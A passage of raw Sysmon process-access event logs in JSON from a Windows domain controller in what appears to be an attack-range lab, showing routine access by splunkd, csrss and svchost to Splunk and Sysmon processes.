2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-00104C8B0500}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-00104C8B0500}","TargetProcessId":"2836","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4084-5F2D-0000-00104C8B0500}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4084-5F2D-0000-00104C8B0500}","TargetProcessId":"2836","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:36.968","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:36.968\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 